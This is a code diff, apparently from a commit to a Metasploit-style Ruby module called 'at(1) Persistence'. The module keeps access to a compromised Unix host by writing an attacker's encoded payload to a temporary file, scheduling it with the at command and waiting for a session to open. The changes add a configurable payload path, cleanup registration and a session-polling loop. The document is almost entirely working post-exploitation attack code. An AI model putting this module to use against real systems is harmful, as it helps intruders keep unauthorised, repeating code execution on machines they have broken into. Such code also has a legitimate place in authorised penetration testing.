@@ -16,6 +16,7 @@ def initialize(info = {})
16
16
info ,
17
17
'Name' => 'at(1) Persistence' ,
18
18
'Description' => %q(
19
+ This module achieves persisience by executing payloads via at(1).
19
20
) ,
20
21
'License' => MSF_LICENSE ,
21
22
'Author' =>
@@ -42,7 +43,13 @@ def initialize(info = {})
42
43
register_options (
43
44
[
44
45
OptString . new ( 'TIME' , [ false , 'When to run job via at(1). Changing may require WfsDelay to be adjusted' , 'now + 1 minute' ] ) ,
45
- OptBool . new ( 'CLEANUP' , [ true , 'Delete at entry and payload after execution' , true ] )
46
+ OptBool . new ( 'CLEANUP' , [ true , 'Delete payload after execution' , true ] )
47
+ ]
48
+ )
49
+
50
+ register_advanced_options (
51
+ [
52
+ OptString . new ( 'PATH' , [ false , 'Path to store payload to be executed by at(1). Leave unset to use mktemp' ] )
46
53
]
47
54
)
48
55
end
@@ -56,14 +63,26 @@ def check
56
63
end
57
64
end
58
65
66
+ def cmd_exec ( cmd )
67
+ super ( "PATH=/bin:/usr/bin:/usr/local/bin #{ cmd } " )
68
+ end
69
+
59
70
def exploit
60
71
unless check == Exploit ::CheckCode ::Vulnerable
61
72
fail_with ( Failure ::NoAccess , 'User denied cron via at.deny' )
62
73
end
63
74
64
- write_file ( "/tmp/test.sh" , payload . encoded )
65
- cmd_exec ( "at -f /tmp/test.sh #{ datastore [ 'TIME' ] } " )
75
+ unless payload_file = datastore [ 'PATH' ] || cmd_exec ( 'mktemp' )
76
+ fail_with ( Failure ::BadConfig , 'Unable to find suitable location for payload' )
77
+ end
78
+
79
+ write_file ( payload_file , payload . encoded )
80
+ cmd_exec ( "at -f #{ payload_file } #{ datastore [ 'TIME' ] } " )
81
+ register_files_for_cleanup ( payload_file ) if datastore [ 'CLEANUP' ]
66
82
print_status ( "Waiting #{ datastore [ 'WfsDelay' ] } sec for execution" )
67
- Rex . sleep ( datastore [ 'WfsDelay' ] . to_i )
83
+ 0 . upto ( datastore [ 'WfsDelay' ] . to_i ) do
84
+ Rex . sleep ( 1 )
85
+ break if session_created?
86
+ end
68
87
end
69
88
end
0 commit comments